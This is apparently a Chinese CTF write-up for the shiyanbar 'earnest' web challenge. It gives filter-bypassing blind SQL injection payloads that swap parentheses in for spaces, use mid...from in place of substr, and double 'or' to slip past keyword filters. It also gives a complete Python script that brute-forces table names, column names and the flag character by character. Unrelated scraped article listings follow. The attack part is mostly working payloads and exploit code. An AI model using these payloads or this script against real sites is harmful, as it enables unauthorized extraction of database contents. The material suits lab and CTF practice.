题目地址:http://ctf5.shiyanbar.com/web/earnest/index.php

过滤和拦截了某些东西,我经过多次尝试,最终构造的是

1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)='1

其中过滤了一次or,所以information里的or要双写,substr中有逗号,所以mid代替,空格则用括号代替,/**/注释符不行是因为服务器过滤了*

服务器的sql查询当且仅当返回只一条数据时才回显you are in

(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from(1)))>1)

的值要么为假0,要么为真1,由此便可猜解

写了个python脚本

(脚本中的爆破方法是一个个字符进行比对,其实为了提高效率可以写二分法,简便点就用这个方法,还有本来我的字符集只有字母数字下划线和逗号,但是猜解列名的时候发现不完整,所以手动判断了下(id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from(3)))=36)='1&submit=),第三位是$这个字符,才在字符集里加了这个,遇见问题要灵活判断,当然这也是因为我脚本写的烂 /笑哭)

 # -*- coding: utf-8 -*-
import requests strall=" !~{}_,:$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" url='http://ctf5.shiyanbar.com/web/earnest/index.php' headers={
'Content-Type': 'application/x-www-form-urlencoded'
} #fiag
def func1():
result=''
for index in range(1,1000):
for i in strall:
data="id=1'=(ascii(mid((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))from({})))={})='1&submit=".format(str(index),str(ord(i)))
print data
r=requests.post(url=url,data=data,headers=headers)
if r.text.find('You are in') >=0:
result+=i
print result
break
elif i=='':
print result
return #fL$4G
def func2():
result=''
for index in range(1,1000):
for i in strall:
data="id=1'=(ascii(mid((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='fiag'))from({})))={})='1&submit=".format(str(index),str(ord(i)))
print data
r=requests.post(url=url,data=data,headers=headers)
if r.text.find('You are in') >=0:
result+=i
print result
break
elif i=='':
print result
return def func3():
result=''
for index in range(1,1000):
for i in strall:
data="id=1'=(ascii(mid((select(group_concat(fL$4G))from(fiag))from({})))={})='1&submit=".format(str(index),str(ord(i)))
print data
r=requests.post(url=url,data=data,headers=headers)
if r.text.find('You are in') >=0:
result+=i
print result
break
elif i=='':
print result
return #func1()
#func2()
func3() raw_input('done')

网站访问速度慢点话,猜解这个是真的慢!!!

还是建议写二分法!!!

实验吧——认真一点(绕过空格,逗号,关键字过滤等 sql盲注)的更多相关文章

  1. 实验吧——看起来有点难(sql盲注)

    题目地址:http://ctf5.shiyanbar.com/basic/inject/ 首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示 1.数据库连接失败! 2.登录失败, ...

  2. 实验吧——who are you?(insert into注入 二分法 时间盲注)

    题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会 ...

  3. 实验吧Web-易-简单的sql注入之3(报错的sql盲注之exp)

    题目提示是报错注入,于是就用盲注技巧来注入. 这里注入时发现floor,extractvalue,updatexml被吃掉了,用exp可以注入成功.(记住大小写绕过等技巧) 1.爆库 ' or exp ...

  4. PING命令执行漏洞-绕过空格

    目录 PING命令执行漏洞-绕过空格 这边介绍一下绕过空格的方法大概有以下几种 方法一:用变量拼接:我们发现源码中有一个$a变量可以覆盖 方法二:过滤bash?那就用sh.sh的大部分脚本都可以在ba ...

  5. PHP中取出字符串中的空格 逗号

    preg_replace("/\s| |,|,/","",$_str) PHP中取出字符串中的空格 逗号 (包括中文状态下)

  6. SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...

  7. SQL注入:突破关键字过滤

    一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败).回车的ascii ...

  8. Aho-Corasick算法实现(简单关键字过滤)

    using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Cons ...

  9. 大智慧F10离线资料压缩包带F10关键字过滤软件--更新于2014-01-06.rar 184MB

    大智慧F10离线资料包带F10关键字过滤软件--更新于2014-01-06.rar 移步到百度网盘下载: http://pan.baidu.com/s/1c01PDnE

随机推荐

  1. java中判断两个对象是否相等

    package ceshi.com.job; import java.util.ArrayList; import java.util.Arrays; import java.util.List; p ...

  2. FastDfs的搭建

    一.什么是FastDFS FastDFS是用c语言编写的一款开源的分布式文件系统.FastDFS为互联网量身定制,充分考虑了冗余备份.负载均衡.线性扩容等机制,并注重高可用.高性能等指标,使用Fast ...

  3. Ubuntu使用snap安装常用软件

    1,snap简介 什么是snap,snap是一种全新的软件包管理方式,它类似一个容器拥有一个应用程序所有的文件和库,各个应用程序之间完全独立.所以使用snap包的好处就是它解决了应用程序之间的依赖问题 ...

  4. The 2019 China Collegiate Programming Contest Harbin Site

    题解: https://files.cnblogs.com/files/clrs97/HarbinEditorialV2.zip Code: A. Artful Paintings /* let x= ...

  5. [RN] windows7 安装 Realm Studio 后,打开报错 A JavaScript error occurred in the main process

    windows7  安装 Realm Studio 后,打开报错 报错如下: A JavaScript error occurred in the main process Uncaught Exce ...

  6. [LeetCode] 381. Insert Delete GetRandom O(1) - Duplicates allowed 常数时间内插入删除和获得随机数 - 允许重复

    Design a data structure that supports all following operations in average O(1) time. Note: Duplicate ...

  7. [LeetCode] 139. Word Break 拆分词句

    Given a non-empty string s and a dictionary wordDict containing a list of non-empty words, determine ...

  8. java的GUI之SWT框架 配置开发环境(包含但不限于WindowBuilder完整教程,解决Unknown GUI toolkit报错,解决导入SWT包错误)

    官网(资料挺多的,API文档截图以及示例都有):https://www.eclipse.org/swt/ 克隆官方仓库 git clone --depth=1 git://git.eclipse.or ...

  9. Helm 常用命令及操作

    Helm 常用命令 查看版本 #helm version 查看当前安装的charts #helm list 查询 charts #helm search redis 安装charts #helm in ...

  10. Scala Symbol解释

    Symbol This class provides a simple way to get unique objects for equal strings. Since symbols are i ...